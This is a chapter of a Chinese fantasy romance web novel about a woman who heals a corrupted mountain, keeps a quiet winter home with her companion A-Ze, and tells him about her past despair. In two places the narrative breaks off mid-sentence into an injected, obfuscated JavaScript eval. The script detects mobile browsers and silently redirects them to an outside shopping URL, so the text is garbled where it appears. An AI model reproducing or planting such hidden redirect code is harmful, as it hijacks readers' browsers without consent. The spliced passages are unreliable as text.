此刻站在山脚下,抬头望着雨虹山的轮廓,暮色里那座山像一道黛色的屏风横在天边,山腰处有隐约的红。 那是枫叶。深秋的雨虹山,满山红叶像火烧云落在了林子里。 但走近了才能看出变化。 山脚下的灌木丛枯了大半。野花少了,溪水浅了,裸露的河床上有干涸的泥壳,一脚踩上去发出碎裂的脆响。 短短一个多月,竟然有这么大的变化。 空气里还残留着草木的清香,但那清香之下有一种极淡的、若有若无的腥气——不是血,是腐败的叶子,是不再流动的溪流底下慢慢沤烂的泥。 越往上走,越能感觉到不同。 林间不再有鸟雀啾啾,只有偶尔一阵风过,吹得枯枝发出干涩的摩擦声。整座山在静下来。 不是死的,是伤了——它还在呼吸,但每一次呼吸都带着隐忍的疼。 悦然停下脚步,弯下腰,把手掌轻轻按在地上。 紫蓝的光从她指尖一闪而逝,像一滴水渗入干涸的泥土。她闭上眼睛站了片刻,睁开眼时,眉头拧着。 "地下有什么东西在往深处钻。"她低声说。 拓宏站在她身后,没有说话。 他知道那是什么。前几日的情报里写过——浊泉翻涌加剧,浊气从地脉渗出,侵蚀山中的草木与鸟兽。 但他只是说:"走吧。脚下当心。" 越往山顶走,植被越稀疏。 前段日子那些不分海拔高低肆意生长的树木灌丛,如今在山腰以上便渐渐成了秃枝枯藤。 几棵虬结的古树歪斜着,树干上缠满了枯死的老藤,藤蔓每隔一截便打着一个结——那是多年前不知何人布下的法阵残余,如今阵力已散,只剩这些枯藤还挂在树上,像褪了色的旧绷带。 到了山顶,眼前的景象让悦然一句话也说不出来。 浊泉还在那里。 但已经不是那个淤黑翻涌的泥潭了。潭面比当年扩大了一倍有余,黑色的淤泥像沸腾的粥一样翻滚着,气泡破裂时发出尖锐的嘶鸣。 周围的古树全死了,八棵虬结的古树只剩下光秃秃的树干,其中两棵已经拦腰折断,断口处往外渗着黑色的黏浆。空气里全是刺鼻的腥臭味。 拓宏没有让她靠近。 他从她身后跨了一步,挡在她和浊泉之间。那个动作很自然,像是已经做惯了的事。 但悦然侧了一步,没有躲在他身后。 她站在他旁边,和他并肩看着那口翻涌的黑潭。她的眸底泛起紫光,在暮色里微微闪耀,是一种沉静的审视。 浊泉的翻涌在她目光下顿了一瞬,而后竟隐隐退缩,退回她初见时的位置,低低呜咽着,在潭面留下一道道黑色的黏稠印记。 拓宏的手按在腰间的短刀刀柄上,指节微微泛白。他看着那口在悦然面前退缩的浊泉——一个连大军都挡不住的东西,在她面前低下了头。 他不知道该欣慰还是该怕。 "如果我每日都来……"悦然没有说完。她的目光落在那口黑潭上,像是在跟它做一个无声的承诺。 拓宏没有立刻回答。他看了一眼她苍白的侧脸,又看了一眼那口仍在低低呜咽的浊泉。 "不妨尝试。"他说。语气很稳,但眉头没有松开。 悦然在浊泉边站了片刻,浊泉上空聚集的黑云竟然也消散了,现出晴空来。 他们来到清泉的泉眼边,悦然伸手去抚摸只留出小股水流的泉眼。泉眼似是有了感应,像委屈的孩子簌簌落泪,水流竟隐隐恢复了许多。 悦然能感受到,随着她的触碰,体内汩汩的青蓝力量正注入泉眼,泉水也随之充盈。 但同时,一种奇异的感觉涌上来——不只是力量在流出,像是有什么更深的东西正在被山吸走。不是痛,是一种极深的牵扯,像有人拽住了她胸腔里一根看不见的线,缓缓往外拉。她看见了模糊的画面:枯死的树根在泥土下挣扎,干涸的溪床在龟裂,无数细小的生灵蜷缩在地底……那是山的记忆,是它正在腐烂的梦。 她猛地睁眼。 "阿泽,我能救它。"她的声音在发抖,但眼睛亮得惊人。 然而下一瞬,强烈的虚弱感如潮水般涌来,膝盖一软—— 拓宏一直紧盯着她,发现不对,立即上前全力将她拉开。 他的手握住她的手腕,指腹按在她的脉搏上,跳得又快又浅。 悦然有一瞬的恍惚晕眩,过了好一会儿才慢慢恢复清明。 "阿泽,我……"她唇色泛白。 拓宏没有说话,小心地将她抱起。他的手仍然握着她的手腕,没有松开。 "万事不可急于求成。"他的声音很平,但按在她脉搏上的指尖微微发颤,"慢慢来。" 下山时,天已黄昏。 就在她转过一棵枯枫时,脚边的枯草丛中忽然窜出一只灰兔。 那灰兔瘦得肋骨都能数出来,蹲在路边,歪着头看她。没有跑,没有躲,只是看着她。 那眼神——像豕群在枫树下用鼻子碰她时一样,不是乞求,是一种本能的信任。 悦然从拓宏的怀中下来,没有伸手去摸它。她只是蹲在那里,和它平视。 灰兔看了她一会儿,耳朵转了转,然后一跳一跳地消失在枯草丛深处。 继续往山下走,百兽仍在用同样的方式靠近她。 一只松鼠从枯枝上跳下来,在她肩头停了片刻,毛茸茸的尾巴扫过她的耳垂。一只瘦削的野猫从树后探出头,不远不近地跟了他们一段路。 还有一只瘸了后腿的老狐狸,蹲在路边的一块青石上,暮色里那双浑浊的眼睛望着她。 她走近时它没有躲,只是低下头,像是行了一个极轻的礼。 悦然走得很慢。 每一只凑上来的生灵,她都停下脚步,蹲下身,轻轻摸一摸它们的头。 那只老狐狸她没有摸——它太高了,蹲在青石上像一尊小小的雕塑。她只是站在它面前,对它点了点头。 老狐狸眨了眨眼,然后慢慢转过身,消失在暮色深处。 走出山脚时,天已经黑透了。 她回过头,望着身后那座沉默的山。山风从林间穿过,发出低沉的呜咽,像整座山在叹息。 "阿泽。" "嗯。" "从今天起,我不吃肉了。" 拓宏看着她。灶膛里的火光在她脸上跳动,把她的睫毛映得透亮。 他没有问为什么,也没有说"好"。 他只是转身,走到墙角,把那把挂在上面的猎弓取了下来。 他用一块粗布,慢慢地把弓擦干净,收进了柜子最深处。 做完这一切,他才回头看她,点了点头。 "好。我亦不食了。" 悦然看着他。 他说这话时语气很平,像是在陈述一件理所当然的事。但她看见了——他收弓的时候,手指在弓弦上停了一瞬。 "你不用不吃,你在长身体,需要吃肉。"她说。 "一人不食肉,是为吃素;二人不食肉,便是同灶。"他把柜门关上,"同灶。" 灶膛里的火还在烧,橘红的火光映着两个人的脸。 拓宏忽然想起什么,起身走到灶台角落,从摸出一个用灰裹着的小纸包。 他打开纸包,里面是三只红心薯,表皮还沾着泥,是下午他去后山时顺手挖的。 他把红薯埋进灶膛最靠里的炭灰里,用拨火棍轻轻拨了拨,盖上一点热灰。 "尚未熟。"他说。 悦然看着他拨灰的动作,没有说话。 他的手指直接伸进滚烫的炭灰里,指尖被烫得微微发红,他也只是甩了甩手,继续拨。 她忽然想起很久以前——在另一个世界,另一个冬天,沈煦也给她烤过红薯。那时候是在商场门口,他用纸巾包着递给她,怕烫她的手。 那时候她以为那就是一辈子。 她把目光从拓宏的手指上移开,落到他脸上。 他正低着头,专心致志地用拨火棍调整炭火的位置,好像烤好这三只红薯是天底下最重要的事。 过了约莫一盏茶的功夫,红薯熟了。 他扒出来,在手里颠了颠,把最烫的那只放在盆中递给她。 "当心烫。" 悦然接过来。红薯皮裂开了,露出里面金黄的瓤,热气腾腾。她咬了一小口,烫得直吸气,但甜味立刻漫满了口腔。 拓宏也咬了一口自己的那只。 "甜吗?"她问。 "甜。"他说。 两人就那样坐在灶膛边,捧着滚烫的红薯,一口一口地吃。 没有山珍海味,没有金银餐具,只有柴火的热气,和红薯的香甜。 悦然忽然说:"阿泽。" "嗯。" "和你同灶,真好。" 拓宏低头看着手里的红薯,那半块瓤已经被他吃掉了,露出里面软糯的芯。 灶膛的火光映在他脸上,悦然看见他的眼圈红了一瞬。他没有立刻回答。 他把最后一口红薯塞进嘴里,咽下去,然后才抬起头看着她。 灶膛里的火光在他眼睛里跳动了一下。 "那便一直同灶,"他说,"生生世世。" 悦然听了,埋下头,红了脸。 入冬以后,天地间能做的事变得很少。 田里早收了最后一茬,地里上了冻,锄头插不进去。 第一场雪是在半夜来的,悄无声息地落了厚厚一层,第二天推门一看,院子里全白了。 只有月季还在餐桌上顶着几朵瘦瘦小小的红花,像是忘了该什么时候凋谢。 拓宏劈柴的任务翻了一倍——灶台一天三顿要烧火,屋里晚上要生火盆。 他早上劈,午后劈,傍晚还要劈。斧头在他手里越来越听话,一斧下去木头应声裂成两半。 劈完柴他把柴火码整齐,高的归高的,矮的归矮的。 悦然在适应土灶。 头一顿饭火太大烧糊了锅底,第二顿饭火太小焖了半个时辰米还是生的。 她咬着牙试了第三次——先放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632091|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干草,再放细柴,等火烧稳了再放粗柴,火苗不大不小,刚好舔着锅底。 那天她炒了一盘腌菜,炖了一锅萝卜汤。拓宏吃了三碗饭。 "不糊了。"他说。 "本来就不该糊。"她端着碗,嘴角却往上弯了一下。 素菜也能做出花样来。 萝卜炖得透明,筷子一夹就断,汤里放两片姜,冬天喝一碗能从胃暖到脚。 腌菜切碎了炒豆腐干,咸香下饭。白菜帮子舍不得扔,和豆腐一起炖,炖到白菜软烂,豆腐吸饱了汤汁,拓宏能就着这一道菜吃三碗饭。 有一次她试着做了一道拔丝红薯——甜浆熬过了火候,颜色有点深,但红薯是杏花村本地的红心薯,又甜又糯。 拓宏夹起一块,甜丝拉了老长也没断,他手忙脚乱地去接,悦然在旁边笑出了声。 她还学着做糕饼。 糯米粉用温水揉成团,里面包上自己熬的红豆沙,搓圆了在掌心里按扁,放在锅里小火慢煎。 头几个煎糊了,黑乎乎的一团,拓宏拿起来看了看,咬了一口,说"能吃"。 后来火候就稳了——两面金黄,外酥里糯,咬开豆沙馅还冒着热气。 她多做了几个,装了满满一篮子,挨家挨户分给村里人。 邻居嫂子接过糕饼时直夸"这姑娘手巧",阿吉踮着脚从篮子里摸了一个,咬了一口,眼睛亮了:"姐姐你以后天天做这个好不好?" 悦然蹲下来擦掉阿吉嘴角的饼渣:"好。你什么时候想吃就来姐姐家。" 拓宏在院子里开了一片菜地。 冬天本不是种菜的好时节,但他翻出来的土又松又软,白菜苗种下去,浇一遍水,第二天就挺起了腰。 萝卜种子撒下去,没几天就冒了芽。韭菜割了一茬又一茬,割了又长,长了又割,像是永远吃不完。 悦然蹲在菜地边,用手指戳了戳那棵一夜之间多长了两片叶子的白菜,回头看拓宏。 拓宏正坐在门槛上劈柴,斧头起落,木屑飞溅,他连头都没抬。 她站起来,拍了拍手上的泥。 这人种什么活什么,花也开得比别处好,她问过他,他只是笑笑。 他不但种什么活什么,还对这院子里的一草一木有一种说不清的耐心。 有一天傍晚,她看见他蹲在菜地边,用手指轻轻拨开一片白菜叶,从叶心里拈出一条小青虫,小心翼翼地放在墙角的草丛里。 他没有捏死它,只是把它移了个地方。 "你现在连虫子都不杀?"悦然靠在门框上问。 拓宏站起来拍了拍手上的土,语气很淡:"它吃它的,我种我的,互不相碍。" 悦然看着他,没有说话。 她忽然想起峡谷里他挡在自己面前的样子——那个拔出长剑一步不退的少年,和眼前这个把小青虫轻轻放在草丛里的人,是同一个。 冬天雪大,菜地不好侍弄,拓宏就开始在院子里种花。 谁也没想到他会种花。他自己大概也没想到。 只是有一天,他从后山挖了一株野兰回来,根上还带着泥,蔫头耷脑地垂着几片叶子。 悦然说这花怕是活不了,他没吭声,找了个破瓦盆,把野兰栽进去,浇了水,放在灶房窗台上。 没过几天,那株野兰就挺起了叶子,再过几天,叶心里抽出一根花茎,顶端鼓起一个小花苞。 花苞开了,是一朵淡紫色的小花,花瓣薄得透明,在冬日的阳光下轻轻摇曳。 悦然站在窗台前看了很久,回头问:"你怎么这么会种花?" 拓宏说:"是它们自己想开给你看。" 悦然笑了。 从那以后,院子里就不断有新的花冒出来。月季、野菊、鸢尾,甚至还有一株不知从哪里来的红牡丹,冬天开得比春天还盛,红的白的粉的挤满了一整个墙角。 悦然每天早上推开门的第一个念头,就是去看看今天又开了什么花。 拓宏从不解释这些花为什么在冬天也开得这么好。他只是每天早晚各浇一遍水,偶尔蹲在花丛边拔拔枯叶,神情专注得像在做一件很重要的事。 有一天傍晚,悦然坐在门槛上,看着满院子在暮色里轻轻摇曳的花,忽然说:"阿泽。" "嗯。" "你为什么对我这么好?" 拓宏正蹲在花丛边拔草,手上动作顿了一下。他没有抬头。 "什么为什么?" "就是……从野苑那时候开始,你就一直这样。" 他没有立刻回答。 过了好一会儿,才说了一句:"这亦是我心所向。" "就因为这个?" 拓宏把手里那把枯草放在一边,站起来,拍了拍膝盖上的土。他没有说,这几日断断续续出现在他梦境中的那些画面:一个正在笨拙布结界的小丫头,一个穿着长袍站在她身边的人。那人的面容他始终看不清,但每次梦醒,心口都残留着一种极深的、说不清的疼。 "明日想吃什么?"他问。 悦然抬头看着他。暮色把他的侧脸切成明暗两半。 她知道,他不想说的事,怎么问都不会说。 她忽然笑了笑,说:"我给你做地三鲜。" "好。" 28. 隔墙听雪 “活在这珍贵的人间,太阳强烈,水波温柔。” ——海子《活在这珍贵的人间》 日子便是每日这样过着,悦然每日上午都要上山,先去浊泉,再去清泉,她脚程越来越快,起初要在山上用午饭,现在已经两个时辰就能回到山脚。 在悦然每日上山后,雨虹山的情况也在不断好转,从最初的荒败,到现在开始恢复生机。又开始有动物走上循化之路,它们每日会在悦然和拓宏下山的路上等待,要悦然一一抚摸过一遍,才会心满意足地离开。 “近来寻你的灵兽愈发多了,或者,你不必逐一抚慰。”拓宏下山路上对悦然说。 “挺好的。阿泽,你知道吗?被它们需要的感觉,真好,”悦然指着自己的心脏,“我这里,很丰盈。” 拓宏看着她,一瞬不瞬的看着,然后点点头,就在悦然要继续下山时,拓宏垂下眼睛,手指微微蜷了一下又松开,他拉住她的手说:“然然,我亦需你至深……” 悦然眸光一闪,忙撤回被抓住的手,红着脸跑下山去,只留拓宏看着她越发窈窕的背影,神色复杂。 这一日,夜幕降临后,灶房里还有另一盏灯。 悦然察觉到拓宏每日会收到字条,但她读不懂。 曦宇的文字有点类似小篆,悦然没有专门学过。 她在油灯下对拓宏说:"你教我认字吧。" 拓宏看了她一眼:"好。" 那之后,他们的小家里多了文房四宝。每天晚上吃完晚饭,收拾完灶台,拓宏就把油灯端到方桌上,铺开一张草纸,用毛笔在上面一笔一画地写字。 他先教她认她自己的名字——"曦宇悦然"——那是在受封大典上宇文拓石亲口宣读的封号。 她第一次用毛笔写出这四个字时,墨洇了一大片,但拓宏绷着脸说"尚可"。 然后是周围的东西:灶、井、花、菜、雪。她学得很快,一晚上能认七八个字。 拓宏教她的时候话不多,只是把字写出来,然后说"随一遍"。 她就拿着笔随一遍。写歪了他也不说,只是用手指在纸面上轻轻点一下那个字,她便会重写一遍。 有时候她写着写着笔顺乱了,他握住她的手腕,带着她把那一笔写完,然后松开手,继续沉默地做自己的事。 他在教她认字的时候,从来不会不耐烦。 一个字教三遍她还没记住,他就写第四遍;她把自己的名字写成了两团墨,他说"尚可",然后把纸翻过来,在背面重新写一遍给她看。有一天悦然低头喝水,突然有疑问抬起头来,正撞上拓宏上扬的唇角,她这才知,他绷着脸说“尚可”,是为了不笑出声来让她难堪。她识破了,捶他,他这才开怀大笑,两人笑作一团,打闹在一场。 窗外,守在暗处的梧冲庭抬眼望着夜空,露出欣慰一笑。“王上,您泉下有知,可放心已。” 她喜欢看他写字——握笔的时候他的手指很稳,每一笔都干净利落,墨迹在草纸上晕开,字字分明。 有一天晚上,她认字认得晚了,趴在桌上睡着了。 拓宏把她抱回正房,替她掖好被角,吹灭油灯。 然后他走回灶房,重新点燃一支蜡烛。 梧冲庭已经等在灶房门外。 "主上。"他压低声音,递上一封军报。 拓宏接过,展开。 宇文轩病重,全仗拓夏的灵药支撑。凛锋边境,矿洞塌陷,铁锈尸数量激增。拓石率军死守,正向曦宇请求支援,宇文轩已无力支援。 拓宏看完,用炭笔在军报背面写了几个字:青岚旧部调两百人,连夜赴凛锋,听熙坤王调遣。 "莫从杏花村经过。"他说。 "是。"梧冲庭接过军报,迟疑了一下,"主上,还有一事。瓦鲁王都粮价飞涨,已有饥民暴动,易子而食。元炀崎被困王宫,消息断了三日。" 拓宏沉默了一瞬。 他抬头看了一眼正房的方向——那扇门紧闭着,悦然还在沉睡。 "瓦鲁那边,青岚暗桩尚在?" "剩三个。" "设法将元炀崎接出。"他说,"人接出来便好,其余之事他自能料理。" "是。" 梧冲庭退入黑暗中。 拓宏没有立刻回屋。他站在灶房门口,月光把他的影子拉得很长。 雨虹山的方向一片漆黑,那座山正在沉默地腐烂。 他看了一眼手中的军报残片,将它凑近烛火烧掉。 第二天早上,悦然起来时粥已经熬好了。 拓宏蹲在院子里劈柴,灶台边的餐桌上,月季又新开了两朵。他给她盛了一碗粥,说"当心烫"。 她把粥碗端在手里,看着花盆里新开的花,说:"这花开得真好。" 拓宏说:"它们想要开给你看。" 日子就这样过下去了。 上山,劈柴,烧火,做饭,洗衣,种花,识字。偶尔去镇上赶集,拓宏背着背篓,她跟在他旁边。 过年前后的那几天,雪下得格外大。 天地之间一片白茫茫,连村口那棵老杏树都被压弯了枝。 拓宏在院子里扫出一条小路,从正房到灶房,从灶房到院门,每一条都扫得干干净净。 悦然从窗户里探出头喊他:"你留一条不用扫嘛,踩雪好玩。" 拓宏看了她一眼,留下一块雪地没有扫。 下午她就在那块雪地上踩了一串脚印,还招呼拓宏过来看:"你看,像不像一只兔子?" 拓宏低头看了看那串歪歪扭扭的脚印,说:"倒像醉酒的兔子。" 悦然抓起一把雪朝他扔过去,他偏头躲开,雪团砸在他身后的柴垛上,散成一蓬白雾。 他弯腰也抓了一把雪,捏成团,朝她扔过去。 雪球在空中画了一道弧线,落在她脚边,碎成细密的雪粒。 她笑着往灶房里跑,他跟了两步,停下来,站在院子里看着她跑远的背影,嘴角有一丝极淡的笑。 除夕夜,他们包了饺子。 面和得有点硬,馅儿是白菜豆腐的——没有肉,但悦然拌馅儿时放了剁碎的香菇末和一点点香油,闻起来比肉还鲜。 拓宏擀皮儿,悦然包。 他擀的皮儿厚薄不匀,第一张像面饼,第二张中间厚边缘薄,第三张终于像饺子皮了。 她包的饺子倒是好看,一个个元宝似的,褶皱均匀,排成一排。 "你在哪儿学的?"拓宏问。 "我姥姥教的。小时候过年,她擀皮儿我包。"她手里不停,声音很轻,"姥姥说,饺子不在馅儿,在包饺子的人。人齐了,吃什么都香。" 拓宏没有说话。 他把擀好的面皮递给她,手指碰到她的手指,两个人都没有缩。 灶膛里的火噼啪响了一声,锅里的水开始冒热气。 饺子下锅,滚了三滚,一个个浮起来。 她捞了两碗,两个人坐在灶房的矮凳上,热气从碗里升起来,模糊了彼此的脸。 他咬了一口——皮薄馅大,虽然只有白菜豆腐,却比任何一顿山珍海味都好吃。 悦然也咬了一口,烫得直哈气。 拓宏看着她的样子,忽然笑了。 不是嘴角弯一下的那种笑,是真正的、眉眼舒展开的笑。 悦然愣了一下——第一次发现,他笑起来,很帅。青俊的眉眼,带着磁性的声音,她有片刻的失神。 "你笑什么?" "没什么。"他低头继续吃饺子。 悦然又盛了一盆,递给拓宏:“给你的暗卫们吃吧。” 拓宏看看她,有一种被看透的坦然,接过来,对门外叫了一声:“梧叔。” 吃完饺子,悦然铺开红纸,磨好墨。 拓宏把笔递给她,她接了,提笔想了片刻,写了几个字。 她的字歪歪扭扭的,和拓宏那手硬朗的字迹没法比,但她写得很认真,每一笔都像在纸上扎根。 写完了,她退后一步看了看,有点不好意思:"字丑。" 拓宏没有说话,接过她手里的笔,在旁边写了下联。 他的字硬朗,力透纸背,和她歪歪扭扭的笔迹并排放在一起,一个像被风吹过的树苗,一个像树苗旁边沉默的山。 悦然低头看了看他写的内容,又抬头看了他一眼。 他没有看她,正把笔搁回砚台上。 "横批呢?"她问。 两人商量了一下,拓宏提起笔,在横批上写了四个字。 他把对联拿到院门口,悦然端着浆糊跟在后面。 贴的时候歪了一点,左边比右边高了一指。她伸手去扶,扶了一下还是歪的。 拓宏站在她身后:"左边略高了些。" "我知道。" "往右下压半指。" "你来。"她让开。 拓宏走上前,伸手把左边那个角往下按了按。红纸在他指下服帖地贴在木门上,和右边对齐了。 他退后一步,和她并肩看着院门上的红纸黑字。 上联是悦然写的:杏花春雨,灶火温存。 下联是拓宏接的:喜乐安平,茅檐一世。 横批四个字:灶暖花长。 屋外,雪又开始落了,无声无息地铺在杏花村的屋顶上。 灶房里暖融融的,两个人的影子被火光投在墙上,一高一低,偶尔交叠。 那天晚上,雪停了。 月光从窗纸透进来,把屋里的一切都镀上了一层极淡的银白。 两张木床隔着一道墙,墙很薄,能听见彼此的呼吸。灶膛里的余火还没有完全熄灭,偶尔发出一声极轻的噼啪,像炭在说梦话。 悦然躺在被窝里,睁着眼睛看天花板。 她突然说点什么。 "阿泽。"她轻声说。 隔壁的呼吸顿了一下。"嗯。" "你睡了吗?" "未曾。" 她侧过身,脸朝着墙壁。墙那面,拓宏也侧过身。 "你想不想知道,"她的声音很轻,"我原来是什么样的?" 墙那边沉默了一瞬。 然后他说:"你想说时,我便听。" 悦然把被子往上拉了拉,拉到下巴。月光照着她的睫毛。 "我在那里的时候,叫黎悦然。黎明的黎,跳跃的跃,然后的然。我姥姥起的。" 她开始说。 说她小时候在农村长大,爸爸妈妈在城里打工,姥姥带着她在田埂上跑,教她认田里的野菜,教她怎么用指甲掐断韭菜的根。 说妈妈很少回来,每次回来都和爸爸吵架。 说她十岁那年,妈妈带她去了一个全是高楼的地方,爬了五层楼梯,推开一扇门。 她说到这里停了一下。拓宏没有说话。她听见他的呼吸很稳,像在等她。 "门里面,"她继续说,"有我爸,还有一个女人。" 她从那天傍晚说到那天深夜。 说妈妈从阳台跳下去的时候她没看见,只听见那声惨叫,然后她在楼道口蹲了很久很久,天黑了,周围全是陌生人的脚。 说后来是姥姥把她接回家的,姥姥不哭,只是在灶台前揉面的时候手抖。 说姥姥走后,她一个人进城上学,一个人吃饭,一个人睡觉,一个人对着空荡荡的出租屋发呆,直到遇见一个人。 "他叫沈煦。"她说。 她说他笑起来很暖,说他在她宿舍楼下捧着烤红薯等她,红薯用纸巾包着,怕烫她的手。 说他娶了她,说他在婚礼上念了那句诗——死生契阔,与子同悦。 从那天起他叫她悦然,愉悦的悦,安然的然。 说他们在一起过了四年,她以为日子会这样过一辈子。 她说到这里又停下了。这次停得比上一次久。 拓宏隔着墙听见她翻了个身,被子窸窸窣窣地响。 "后来,"她说,"我发现他有了别人。" 她没有说细节。 没有说那个口红印,没有说那通电话,没有说她一个人在客厅里点燃薰衣草蜡烛,用头撞墙,把自己缩在墙角直到烛火熄灭。 她只是说:"那时候我觉得,活不下去了。" 声音很平,像是在说一桩与己无关的旧事。 然后她又翻了个身,语气忽然变得很轻:"然后我就在这里醒过来了。浑身是伤,差点被飞虫吃掉。是拓石和拓云救了我。" 拓宏一直听到这里,才开口说了一句话。 "你那时,是想死。" 不是问句,是陈述。 "嗯。"她说,"现在不想了。" 拓宏没有问为什么。他只是在黑暗中静静地听着。 "以前我觉得,活着很累。"她的声音从墙那边传过来,"每天早上睁开眼就觉得世界很冷。没有一件事是自己想做的。" 她顿了顿。 "可是现在不一样了。现在每天早上醒过来,听见你在院子里劈柴,听见鸡叫,听见灶台上粥锅咕嘟咕嘟地冒泡。这些声音以前都没有。以前我的房间里只有钟在走,一秒一秒,每一秒都听得清清楚楚。" 她又翻了个身,语气变得很轻很轻。 "阿泽,我想跟你说的是——以前我不想活。我恨所有人,恨我爸,恨那个女人,恨沈煦,恨老天爷为什么不肯让我死。" "但是现在,我每天早上起来,看见你种的那些花,看见菜地里的萝卜又长了一片叶子,看见你蹲在井边洗菜,我就觉得,活着也挺好的。" 她把被子拉到脸上,只露出眼睛。月光从窗纸透进来,把她的睫毛映得透亮。 "谢谢你。谢谢你把我带到这里来。" 墙那边沉默了很长时间。长到她以为他已经睡着了。 然后她听见他说:"然然。" "嗯。" "是你自己的生念。非我之功。" 悦然没有说话。 她把被子往下拉了拉,露出整张脸。月光照在她脸上,她的眼角有一点湿,但她没有擦。 过了很久,她又开口了,声音里多了一丝和平时不一样的轻快: "阿泽,这辈子能活多长我不知道。也许很长,也许很短。但是不管多长,我觉得就这样活下去也挺好。" 墙那边传来一声极轻的响动——不是翻身,不是叹气。 "便这样活下去。"他说。 "好。"她说。 “阿泽,原本,我以为我再不会让谁走进我的心。”她顿了顿,屋里静得落针可闻,“你是个比我小那么多的孩子,”她抽抽鼻子,有了鼻音,“但是,我好像,也已经,离不开你了……” 悦然听到,隔壁,“哐”的一声,是拓宏的佩剑,掉在了地上。 然后是窸窸窣窣捡东西的声音。 又是隔了好久,悦然才听到拓宏的声音:“甚好。那……便永不分离。” “好。” 一滴泪,从眼睛滑到耳边,然后是第二滴,第三滴,悦然把眼睛闭上。 拓宏在黑暗里坐着,一动不动。他看着窗外的星,双唇微抖。听见隔壁的呼吸声变得均匀而绵长,像远处的山,像杏花村冬天的第一场雪,像灶膛里还没有完全熄灭的余火。 “梧叔,您听见了吗?” “主上,恭贺主上。”是梧冲庭苍老却颤抖的声音。 拓宏侧过头,看着那面薄薄的土墙。 墙的另一面,睡着一个人。这个人从另一个世界来,经历过他无法想象的痛苦,然后在这个什么都没有的杏花村里,学会了笑。 他闭上眼。原本,他也不曾想过,有朝一日,他可以放下血海深仇,为了一个女人,撑起一方净土。 她不会知道外面那些军报,不会知道那些夜里他在灶房里烧掉的纸张上写着什么。 她只需要知道明天早上的粥不会糊,院子里的月季还会开,柴垛永远比她需要的高。 春天快到的时候,拓宏从山上抱回来一只摔断后腿的幼狐。 那幼狐瘦得只剩一把骨头,缩在他怀里瑟瑟发抖,断腿以一个奇怪的角度耷拉着。 悦然接过来,小心得像是捧着一只刚出壳的雏鸟。 她找来两根小木棍,又撕了布条,帮幼狐固定断腿。幼狐在她手心里发抖,她用拇指轻轻抚过它的头顶,紫光从她指尖一闪而逝。 幼狐渐渐安静下来,闭上了眼睛。 "它在山中遭旁的野物伤了。"拓宏说,"见它跑不动,便抱回来了。" 悦然把幼狐放在火盆边的旧棉袄上,每天给它换药、喂米汤。 半个月后,幼狐的断腿好了,开始在院子里追着自己的尾巴转圈。 悦然蹲在井边洗菜,它就蹲在她脚边,用毛茸茸的尾巴扫她的脚踝。 又过了半个月,它已经能把拓宏藏在背后的红薯找出来,叼着红薯满院子跑。 拓宏说,等开春了便把它放回雨虹山。悦然点点头,没有说话。 春天来了。 她把幼狐放在竹篮里,提到雨虹山脚下。幼狐从竹篮里探出头,看了看身后的山,又看了看她。 "去吧。"她蹲下来,轻轻摸了摸它的耳朵。 幼狐用湿漉漉的鼻子碰了碰她的手指,然后转身,跳进枯草丛中,消失在山林的晨雾里。 悦然站起来,拍了拍膝上的泥土。她没有哭。 她知道它属于那座山,不属于她。 这件事后来传开了。 先是村里的孩子们抱着受伤的鸟雀来敲门——"药草姐姐,这只斑鸠翅膀折了,你给看看。" 然后是邻村的大婶抱着被野猫咬伤的鸡——"姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632092|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘,这鸡还能救不?" 再后来是刘嫂子家的阿吉抱着她养的那只小灰兔来了,急得眼泪汪汪——小灰兔拉肚子拉了三天,眼看就要不行了。 悦然接过小灰兔时顺手摸了摸阿吉的头:"别急,让姐姐看看。" 她轻轻按着小灰兔的肚子,紫光在指尖一闪,小灰兔的颤抖渐渐停了。 "这几天不要给它吃生水,给它喝煮过的水,菜叶子要晾干了再喂。"她把小灰兔递回阿吉怀里,"过两天就好了。" 阿吉用力点头,抱着小灰兔跑回家了。 隔了两天,阿吉又来了,这回不是来求医的。 她站在院门口,手里举着一个还冒着热气的蒸红薯:"姐姐,给你的!" 悦然接过红薯,蹲下来抱了抱阿吉。 阿吉搂着她的脖子,在她耳边小声说:"我娘说,你是神仙。" 悦然笑了:"我不是神仙。我只是知道怎么照顾小动物。" 阿吉似懂非懂地点点头,又蹦蹦跳跳地跑了。 再后来,有人生病了也会来找她。 第一个来的是村东头的王大爷。 王大爷是村里的老木匠,手艺好,人也硬朗,只是那年冬天雪大,他在房顶上修漏水的屋瓦,一脚踩滑摔了下来,额头磕破了皮。 伤口倒不大,但人一直昏昏沉沉的,吃不下饭,说头晕。 家里人急得不行,想去镇上请大夫,可大雪封了山路,马车根本出不去。 王大爷的儿子急得在村口转圈,最后一咬牙跑到村尾那间小院子敲门。 他来的时候拓宏正在劈柴,悦然在灶房里熬粥。听完来意,悦然放下勺子就跟着去了。 她不是大夫。 她在现代只是个文员,姥姥教过她一些草药常识,但远远不够看病开方。 她只能做最简单的——把王大爷额头的伤口重新清洗了一遍,换了干净的布条。 她让王大爷平躺,别垫高枕头,又问了他摔倒时是怎么着的地、有没有呕吐、视线有没有模糊。 她不会开方子,只是在旁边守着,隔一会儿问他晕不晕、有没有哪里不舒服,喂他喝了几次温水。 拓宏不知什么时候跟来了,他这些年行军打仗,会识一些最基本的草药,看了一眼伤口说"无碍",便带着王大爷的儿子去后山采了些清热解毒的草药回来。 